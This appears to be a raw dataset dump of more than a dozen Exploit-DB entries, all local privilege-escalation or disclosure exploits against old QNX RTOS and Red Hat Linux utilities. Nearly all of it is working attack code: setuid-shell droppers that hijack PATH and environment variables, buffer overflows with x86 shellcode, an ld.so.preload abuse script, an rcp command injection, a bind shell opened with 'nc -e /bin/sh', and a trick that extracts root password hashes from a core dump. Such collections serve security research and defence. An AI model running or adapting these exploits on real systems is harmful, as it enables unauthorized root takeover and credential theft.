deardaniel/secdata-raw huggingface dataset:
Exploit-DB #21504
Description: QNX RTOS 4.25/6.1 - 'phgrafx-startup' Local Privilege Escalation
Type: local
Platform: linux
Date: 2002-06-03
Author: badc0ded

Exploit:
source: https://www.securityfocus.com/bid/4916/info


The QNX phgrafx-startup utility is prone to an issue which may make it possible for local attackers to escalate privileges. This issue is due to unsafe use of the system() function to invoke other programs. This vulnerability may be trivially exploited to gain root privileges. 

#!/bin/sh
#
# click test,restore,continue  
# now you should have a setuid root shell waiting in /tmp/badc0ded
#
# www.badc0ded.com
echo "#!/bin/sh" > /tmp/crttrap
echo "cp /bin/sh /tmp/badc0ded" >> /tmp/crttrap
echo "chmod 4777 /tmp/badc0ded" >> /tmp/crttrap
echo "/usr/bin/crttrap \$1 \$2 \$3 \$4 \$5 \$6 \$7 \$8 \$9 " >> /tmp/crttrap
chmod 755 /tmp/crttrap
export PATH="/tmp:$PATH"
/usr/photon/bin/phgrafx-startup
Exploit-DB #21502
Description: QNX RTOS 4.25/6.1 - su Password Hash Disclosure
Type: local
Platform: linux
Date: 2002-06-03
Author: badc0ded

Exploit:
source: https://www.securityfocus.com/bid/4914/info

It has been reported that the 'su' utility for QNX RTOS accepts the SIGSEGV signal and dumps a world readable core file. An attacker is able to analyze the core file and obtain very sensitive information.

It is very probable that this is a kernel-based vulnerability affecting not only 'su', but other setuid programs as well 

$su > /dev/null &
$kill -SEGV `ps -A | grep su | awk {'print $1'}`
$strings /var/dumps/su.core | grep ":0:0" > /tmp/mypasswd

The attacker has effectively obtained a copy of the root user's password hash.
Exploit-DB #21505
Description: QNX RTOS 6.1 - '/usr/photon/bin/phlocale' Environment Variable Buffer Overflow
Type: local
Platform: linux
Date: 2002-06-03
Author: badc0ded

Exploit:
/*
source: https://www.securityfocus.com/bid/4917/info

The QNX phlocale utility is prone to an exploitable buffer overflow condition. This is due to insufficient bounds checking of the ABLANG environment variable. Exploitation of this issue may result in execution of arbitrary attacker-supplied instructions as root. 
*/

/* QNX phlocale $ABLANG exploit, gives you a cute euid=0 shell. 
 * If it doesnt work for you, then you most likely need to change
 * the address to system() and/or the ret.
 * 
 * www.badc0ded.com 
*/

main ()
{ 
   char s[]="\xeb\x0e\x31\xc0\x5b"
            "\x88\x43\x2\x53\xbb"
            "\x80\x95\x04\x08"       //system() address
            "\xff\xd3\xe8\xed\xff"
            "\xff\xff\x73\x68";
   char payload[1000];
   memset (payload,0x90,sizeof(payload));
   sprintf(payload+971,"%s%s",s,"\x78\x7b\x04\x08");
   setenv("ABLANG",payload);
   execlp("/usr/photon/bin/phlocale","phlocale",0);
}
Exploit-DB #21506
Description: QNX RTOS 6.1 - 'PKG-Installer' Local Buffer Overflow
Type: local
Platform: linux
Date: 2002-06-03
Author: badc0ded

Exploit:
/*
source: https://www.securityfocus.com/bid/4918/info

It has been reported that the pkg-installer utility for QNX is vulnerable to a buffer overflow condition.

The vulnerability is a result of an unbounded string copy of the argument to the "-U" commandline option of pkg-installer to a local buffer. 
*/

/* Quick and dirty QNX pkg-installer root exploit.
 * The shellcode sucks, it is longer than it has
 * to be and you need the address to system() for 
 * it to work. Yes I know I'm lazy....
 * 
 * http://www.badc0ded.com 
*/

main(int argc, char **argv)
{
   int ret=0x804786d;
   char *pret;
   char s[]="\xeb\x0e\x31\xc0\x5b"
            "\x88\x43\x2\x53\xbb"
            "\xe4\xb4\x04\x08"       //system() address
            "\xff\xd3\xe8\xed\xff"
	    "\xff\xff\x73\x68";
   char payload[2000];
   if (argc>=2)
      ret=ret-atoi(argv[1]);
   pret=&ret;
   printf("using ret %x\n",ret);
   memset(payload,0x90,1254);
   sprintf(payload+1254,"%s%s",s,pret);
   execlp("/usr/photon/bin/pkg-installer","pkg-installer","-u",payload,0);

}
Exploit-DB #26195
Description: QNX RTOS 6.1/6.3 - InputTrap Local Arbitrary File Disclosure
Type: local
Platform: linux
Date: 2005-08-24
Author: Julio Cesar Fort

Exploit:
source: https://www.securityfocus.com/bid/14656/info

QNX RTOS is susceptible to a local arbitrary file disclosure vulnerability. This issue is due to a failure of the 'inputtrap' utility to properly implement access control restrictions.

This vulnerability allows local malicious users to gain access to the contents of arbitrary files with superuser privileges, aiding them in further attacks.

QNX RTOS versions 6.1 and 6.3 are affected by this issue. Other versions are also likely affected. This issue is similar to the one described in BID 4901. 

inputtrap -t /etc/shadow start
Exploit-DB #22002
Description: QNX RTOS 6.2 - Application Packager Non-Explicit Path Execution
Type: local
Platform: linux
Date: 2002-11-08
Author: Texonet

Exploit:
source: https://www.securityfocus.com/bid/6146/info

A vulnerability has been discovered in an application packager shipped with QNX RTOS. It should be noted that the vulnerable packager is installed setuid root by default.

It has been reported that the packager fails to use absolute paths to execute system commands. This could potentially allow an attacker to trick the program into running a trojaned binary.

Because the vulnerable packager is installed setuid root by default, this could allow a local attacker to take complete control over a system. 

$ cat > cp <<EOF
> #!/bin/sh
> /bin/cp /bin/sh /tmp/sh
> chmod 4755 /tmp/sh
> EOF
$ chmod 755 cp

The attacker then modifies the PATH environment variable to search
the current working directory before anything else:

$ PATH=$PWD:$PATH

The attacker now creates a directory and calls the packager on that
created directory:

$ mkdir temp
$ packager temp
...

The packager will ask a number of questions. When the procedure is
complete, a root shell will be waiting for the attacker:

$ ls -l /tmp/sh
- -rwsr-x r-x 1 root 100 153908 May 11 05:36 /tmp/sh
Exploit-DB #1229
Description: Qpopper 4.0.8 (Linux) - 'poppassd' Local Privilege Escalation
Type: local
Platform: linux
Date: 2005-09-24
Author: kingcope

Exploit:
#!/bin/sh
# tested and working /str0ke
###########################################################################
# Linux Qpopper poppassd latest version local r00t exploit by kcope     ###
# August 2005                                                           ###
# Confidential - Keep Private!                                          ###
###########################################################################

POPPASSD_PATH=/usr/local/bin/poppassd

echo ""
echo "Linux Qpopper poppassd latest version local r00t exploit by kcope"
echo ""
sleep 2
umask 0000
if [ -f /etc/ld.so.preload ]; then
echo "OOPS /etc/ld.so.preload already exists.. exploit failed!"
exit
fi
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
 if (!geteuid()) {
 setgid(0);
 setuid(0);
 remove("/etc/ld.so.preload");
 execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
 }
}

_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
       setgid(0); setuid(0);
       unlink("/tmp/suid");
       execl("/bin/sh","sh",0); }
_EOF

gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
echo "--- Now type ENTER ---"
echo ""
$POPPASSD_PATH -t /etc/ld.so.preload
echo /tmp/libno_ex.so.1.0 > /etc/ld.so.preload
su
if [ -f /tmp/suid ]; then
echo "IT'S A ROOTSHELL!!!"
/tmp/suid
else
echo "Sorry, exploit failed."
fi

# milw0rm.com [2005-09-24]
Exploit-DB #37898
Description: Reaver Pro - Local Privilege Escalation
Type: local
Platform: linux
Date: 2012-09-30
Author: infodox

Exploit:
source: https://www.securityfocus.com/bid/55725/info

Reaver Pro is prone to a local privilege-escalation vulnerability.

A local attacker may exploit this issue to execute arbitrary code with root privileges. Successful exploits may result in the complete compromise of affected computers. 

#!/usr/bin/env python
import os
print """
          Reaver Pro Local Root
   Exploits a hilarious named pipe flaw.
The named pipe /tmp/exe is open to anyone...
Any command echoed into it gets ran as root.
This simply launches a bindshell on 4444...
    Insecurety Research | insecurety.net
"""
print ""
print "This is why TacNetSol should hire me?"
print "[+] Sending command to named pipe..."
cmd = '''echo "nc -e /bin/sh -lvvp 4444" >> /tmp/exe'''
os.system(cmd)
print "[+] Connecting to bind shell, enjoy root!"
os.system("nc -v localhost 4444")
Exploit-DB #20385
Description: RedHat 0.4 b15 restore - Insecure Environment Variables
Type: local
Platform: linux
Date: 2000-11-04
Author: fish

Exploit:
source: https://www.securityfocus.com/bid/1914/info

restore is a program for backup and recovery procedures, distributed with the RedHat Linux Operating System. A vulnerability exists that could allow a user elevated permissions.

The problem occurs in the RSH environment variable. restore is dependent upon this environment variable for execution. It is possible to set this variable PATH to that of an executable, and then execute restore. This will result in the executable in the RSH environment variable being run with an EUID of 0. Exploitation of this vulnerability by a malicious user can result in root compromise.


#!/bin/sh
#
# Exploits a stupid bug in redhat 6.2's (others..) restore program.
# restore version 0.4b15 executes a program which is found in
# a user modifiable environment variable (RSH).
#
# Have fun!
#        - fish
#
# Shoutouts: trey, burke, dono, sinator, jadrax, minuway, lews, hubbs,
#            ralph, jen, madspin, hampton, ego, als, scorch.
#
#          Cause we da pimpz of #code! (not ef/dal.. etc)
#                     (irc > irl ? werd : lame)
#
# WERD to the async, isolated, expedience, mindsong, and analog crews
#
#
# #TelcoNinjas can eat it cause they suck hardc0re
# #TelcoNinjas == #smurfkiddies
#

echo "[spl0it]: Starting."
echo -n "[spl0it]: creating shell spawn... "

echo "#include <stdio.h>"                        > cool.c
echo "int main(void) { "                        >> cool.c
echo "    setuid(0);"                           >> cool.c
echo "    setgid(0);"                           >> cool.c
echo "    execl(\"/bin/sh\", \"-bash\", NULL);" >> cool.c
echo "    return 0;"                            >> cool.c
echo "}"                                        >> cool.c

echo -e "\t\t\tdone"

echo -n "[sploit]: Compiling shell spawn... "
gcc -o cool cool.c
echo -e "\t\t\tdone"


echo -n "[sploit]: Creating fake rsh program... "

cat > execute_me << EOF
#!/bin/sh
chown root: cool
chmod 4777 cool
EOF

chmod +x execute_me
echo -e "\t\t\tdone"


# now executing the dump command
echo "[spl0it]: Beginning exploitation: "
export TAPE=garbage:garbage
export RSH=./execute_me
/sbin/restore -i


# Exec'n the r00t sh3ll!
echo -n "[spl0it]: Waiting 4 seconds for suid shell... "
sleep 4
echo -e "\t\tdone"

if [ ! -u ./cool ]; then
  echo "[spl0it]: Hmm it didn't work.. Better luck next time eh"
  echo "[spl0it]: Check ./cool anyway =)"
  exit 0
fi

echo "[spl0it]: It Worked! suid shell is now ./cool"
echo "[spl0it]: Entering suid shell..."
./cool
exit 0
Exploit-DB #19778
Description: RedHat 4.x/5.x/6.x / RedHat man 1.5 / Turbolinux man 1.5 / Turbolinux 3.5/4.x - 'man' Buffer Overrun (1)
Type: local
Platform: linux
Date: 2000-02-26
Author: Babcia Padlina

Exploit:
/*
source: https://www.securityfocus.com/bid/1011/info

RedHat 4.0/4.1/4.2/5.0/5.1/5.2/6.0/6.2,RedHat man 1.5,Turbolinux man 1.5,Turbolinux 3.5/4.2/4.4 man Buffer Overrun Vulnerability

A buffer overflow exists in the implementation of the 'man' program shipped with RedHat Linux, and other LInux vendors. By carefully crafting a long buffer of machine executable code, and placing it in the MANPAGER environmental variable, it becomes possible for a would be attacker to gain egid man. 

Using attacks previously outlined by Pawel Wilk, and available in the reference portion of the credit section, it is possible for an attacker to alter manpages such that code will be executed. Upon looking up an altered manpage, code will be executed with the privileges of the person running man. If this person is the root user, root privileges can be obtained.
*/


/*
 * (c) 2000 babcia padlina / b0f
 * (lcamtuf's idea)
 *
 * redhat 6.1 /usr/bin/man exploit
*/

#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>

#define NOP		0x90
#define OFS		1800
#define BUFSIZE		4002
#define ADDRS		1000

long getesp(void)
{
   __asm__("movl %esp, %eax\n");
}

int main(argc, argv)
int argc;
char **argv;
{
	char *execshell =
	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/bin/sh";

	char *buf, *p;
	int noplen, i, ofs;
	long ret, *ap;

	if(!(buf = (char *)malloc(BUFSIZE+ADDRS+1)))
	{
		perror("malloc()");
		return -1;
	}

	if (argc > 1)
		ofs = atoi(argv[1]);
	else
		ofs = OFS;

	noplen = BUFSIZE - strlen(execshell);
	ret = getesp() + ofs;

	memset(buf, NOP, noplen);
	buf[noplen+1] = '\0';
	strcat(buf, execshell);

	p = buf + noplen + strlen(execshell);
        ap = (unsigned long *)p;

        for(i = 0; i < ADDRS / 4; i++)
                *ap++ = ret;

        p = (char *)ap;
        *p = '\0';

	fprintf(stderr, "RET: 0x%x  len: %d\n\n", ret, strlen(buf));

	setenv("MANPAGER", buf, 1);
	execl("/usr/bin/man", "man", "ls", 0);

	return 0;
}
Exploit-DB #19779
Description: RedHat 4.x/5.x/6.x / RedHat man 1.5 / Turbolinux man 1.5 / Turbolinux 3.5/4.x - 'man' Buffer Overrun (2)
Type: local
Platform: linux
Date: 2000-02-26
Author: Babcia Padlina

Exploit:
/*
source: https://www.securityfocus.com/bid/1011/info
 
RedHat 4.0/4.1/4.2/5.0/5.1/5.2/6.0/6.2,RedHat man 1.5,Turbolinux man 1.5,Turbolinux 3.5/4.2/4.4 man Buffer Overrun Vulnerability
 
A buffer overflow exists in the implementation of the 'man' program shipped with RedHat Linux, and other LInux vendors. By carefully crafting a long buffer of machine executable code, and placing it in the MANPAGER environmental variable, it becomes possible for a would be attacker to gain egid man.
 
Using attacks previously outlined by Pawel Wilk, and available in the reference portion of the credit section, it is possible for an attacker to alter manpages such that code will be executed. Upon looking up an altered manpage, code will be executed with the privileges of the person running man. If this person is the root user, root privileges can be obtained.
*/


/*
 * Rewriten from:
 * (c) 2000 babcia padlina / b0f
 * (lcamtuf's idea)
 * by Kil3r of Lam3rZ
 * for nonexec stack environment
 * 
 * redhat 6.1 (and others) /usr/bin/man exploit
*/

        char execshell[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";


#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>

#define STRCPY          0x80490e4       // <== strcpy() PLT entry
#define GOT             0x805038c       // <== strcpy() GOT entry
#define NOP             0x90
#define BUFSIZE         4033+38
#define RET             STRCPY          //0x46464646
#define _BIN_SH         0xbfffffe7      // <== where we have "/bin/sh" string,
                                        //    curently useless ;)
#define SHELLCODE       0xbfffffc1

long getesp(void)
{
   __asm__("movl %esp, %eax\n");
}

int main(argc, argv)
int argc;
char **argv;
{
        char buf[BUFSIZE], *p;
        char *env[3];
        int *ap;

        memset(buf,NOP,BUFSIZE);

        p=buf+BUFSIZE-4;
        ap=(int *)p;
        *ap++ =RET;
        *ap++ =GOT+4;
        *ap++ =GOT+4;
        *ap++ =SHELLCODE;

        fprintf(stderr, "RET: 0x%x  SHELLCODE: 0x%x", RET, SHELLCODE);

        memcpy(buf,"MANPAGER=", 9);
        env[0]=buf;
//      env[1]="/bin/sh";
        env[1]=execshell;
        env[2]=(char *)0;
        execle("/usr/bin/man", "man", "ls", 0, env); // use execle to have
                                // shellcode and other params at fixed addr!!!

        return 0;
}
Exploit-DB #255
Description: RedHat 6.1 - 'man' Local Overflow / Local Privilege Escalation
Type: local
Platform: linux
Date: 2001-01-19
Author: teleh0r

Exploit:
#!/usr/bin/perl

##  Redhat 6.1 man exploit - gives egid 15
##  Written just for fun - teleh0r@doglover.com


$shellcode =  "\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07".
              "\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b".
              "\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff".
              "\xff\xff\x01\x2f\x62\x69\x6e\x2f\x73\x68\x01";


$len = 4062;        # -- Sufficient to overwrite EIP.
$nop = "\x90";      # -- x86 NOP.
$ret = 0xbfffbb24;  # -- ESP / Return value.
$offset = -800;     # -- Default offset to try.


if (@ARGV == 1) {
    $offset = $ARGV[0];
}

for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
    $buffer .= $nop;
}

# [ Buffer: NNNNNNNNNNNNNN ]

# Add the shellcode to the buffer.

$buffer .= $shellcode;

# [ Buffer: NNNNNNNNNNNNNNSSSSS ]

$address = sprintf('%lx', ($ret + $offset));
$new_ret = pack('l', ($ret + $offset));

print("Address: 0x$address / Offset: $offset\n");
sleep(1);

# Fill the rest of the buffer (length 100) with RET's.

for ($i += length($shellcode); $i < $len; $i += 4) {
    $buffer .= $new_ret;
}

# [ Buffer: NNNNNNNNNNNNNNNNSSSSSRRRRRR ]

local($ENV{'MANPAGER'}) = $buffer; exec("/usr/bin/man id");


# milw0rm.com [2001-01-19]
Exploit-DB #182
Description: RedHat 6.2 - '/sbin/restore' Local Privilege Escalation
Type: local
Platform: linux
Date: 2000-11-16
Author: anonymous

Exploit:
#!/bin/sh
#
# /sbin/restore exploit for rh6.2
#
# I did not find this weakness my self, all i did was
# writing this script (and some more) to make it 
# automatic and easy to use.
#
# This exploit should work on all redhat 6.2 systems
# with /sbin/restore not "fucked up". May work on other
# distros too, but only tested successfully on rh6.2.
#
# Make sure that the $USER variable is set! If you aren't
# sure, do a SET USER=<your-login-name> before you start
# the exploit!
#
# Please do NOT remove this header from the file.
#

echo "###########################################"
echo "#     /sbin/restore exploit for rh6.2     #"
echo "#          this file by nawok '00         #"
echo "###########################################"
echo " "
echo "==> EXPLOIT STARTED, Wait..."
echo "#!/bin/sh" >> /home/$USER/execfile
echo "cp /bin/sh /home/$USER/sh" >> /home/$USER/execfile
echo "chmod 4755 /home/$USER/sh" >> /home/$USER/execfile
chmod 755 /home/$USER/execfile
export TAPE=restorer:restorer
export RSH=/home/$USER/execfile
touch /tmp/1
/sbin/restore -t /tmp/1
rm -f /home/$USER/execfile
echo "==> DONE! If everything went OK we will now enter rootshell..."
echo "==> To check if its rooted, type 'whoami', or 'id'" 
echo "==> B-Bye, you are on your own now."
/home/$USER/sh


# milw0rm.com [2000-11-16]
Exploit-DB #20021
Description: RedHat 6.2 - Piranha Virtual Server Package Plaintext Password
Type: local
Platform: linux
Date: 2000-06-09
Author: arkth

Exploit:
source: https://www.securityfocus.com/bid/1367/info

Password changes submitted to Red Hat Piranha via HTTP are insecurely passed as variables in a GET request. Unauthorized users could obtain the password by reading the httpd access log or by sniffing.

---------[from /etc/httpd/logs/access_log]-----------
...
127.0.0.1 - piranha [19/May/2000:14:00:48 +0200] "GET
/piranha/secure/passwd.php3?try1=xxx&try2=xxx&[CREDENTIAL_REDACTED] HTTP/1.0" 200
3120
127.0.0.1 - piranha [19/May/2000:14:01:03 +0200] "GET
/piranha/secure/passwd.php3?try1=yyy&try2=yyy&[CREDENTIAL_REDACTED] HTTP/1.0" 200
3120
127.0.0.1 - piranha [19/May/2000:20:58:50 +0200] "GET
/piranha/secure/passwd.php3?try1=arkth&try2=arkth&[CREDENTIAL_REDACTED]
HTTP/1.0" 200 3120
...
Exploit-DB #205
Description: RedHat 6.2 /usr/bin/rcp - 'SUID' Local Privilege Escalation
Type: local
Platform: linux
Date: 2000-11-29
Author: Tlabs

Exploit:
#!/usr/bin/perl -w
#
# exploits suid privledges on rcp
# Not really tested this but hey
# works on redhat6.2
# not werk on freebsd4.1 stable
#
# bug discovered by
# Andrew Griffiths
#
# Exploit written by tlabs
# greetz to those that know me innit
#
# Please set your rcpfile
# this can be found by doing
#
# ls -alF `which rcp`
#
# have a lot of fun

$RCPFILE="/usr/bin/rcp" ;

# configure above innit

sub USAGE
{
    print "$0\nWritten by Tlabs\n" ;
    exit 0 ;
}

if ( ! -u "$RCPFILE" )
{
    printf "rcp is not suid, quiting\n" ;
    exit 0;
}

open(TEMP, ">>/tmp/shell.c")|| die "Something went wrong: $!" ;
printf TEMP "#include<unistd.h>\n#include<stdlib.h>\nint main()\n{" ;
printf TEMP "    setuid(0);\n\tsetgid(0);\n\texecl(\"/bin/sh\",\"sh\",0);\n\treturn 0;\n}\n" ;
close(TEMP);
open(HMM, ">hey")|| die "Something went wrong: $!";
print HMM "Sploit written by tlabs, thanks to Andrew Griffiths for the bug report" ;
close(HMM);

system "rcp 'hey geezer; gcc -o /tmp/shell /tmp/shell.c;' localhost 2> /dev/null" ;
system "rcp 'hey geezer; chmod +s /tmp/shell;' localhost 2> /dev/null" ;
unlink("/tmp/shell.c");
unlink("hey");
unlink("geezer");
printf "Ok, too easy, we'll just launch a shell, lets hope shit went well, innit:)\n" ;

exec '/tmp/shell' ;


# milw0rm.com [2000-11-29]